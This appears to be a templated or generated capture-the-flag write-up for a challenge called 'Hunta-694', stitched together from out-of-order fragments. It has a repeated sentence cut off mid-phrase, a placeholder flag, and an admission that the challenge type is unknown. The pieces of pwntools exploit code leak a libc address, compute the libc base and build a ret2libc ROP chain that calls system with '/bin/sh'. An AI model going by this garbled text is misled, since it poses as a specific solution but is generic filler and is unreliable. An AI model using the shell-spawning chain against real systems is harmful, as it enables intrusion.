Hunta-694 - 2021

Because the exact nature of the challenge (binary, web, crypto, pwn, rev, etc.) isn’t known from the name alone, the write‑up is organized in a modular way so you can fill in the details that are specific to the actual task.

CTF<something_related_to_the_challenge> Capture it with: hunta-694

# ---- Step 2: Compute libc base ------------------------------------ libc = ELF('<path_to_libc.so.6>') # provided or from system libc.address = leaked_puts - libc.symbols['puts'] log.info(f'Libc base: hex(libc.address)') Because the exact nature of the challenge (binary,

# ---------------------------------------------------------------------- # Helper functions # ---------------------------------------------------------------------- def start(): if HOST and PORT: return remote(HOST, PORT) else: return process(BINARY) hunta-694

#!/usr/bin/env python3 from pwn import *

# ---- Step 3: Build final ROP chain -------------------------------- pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0] bin_sh = next(libc.search(b'/bin/sh')) system = libc.symbols['system']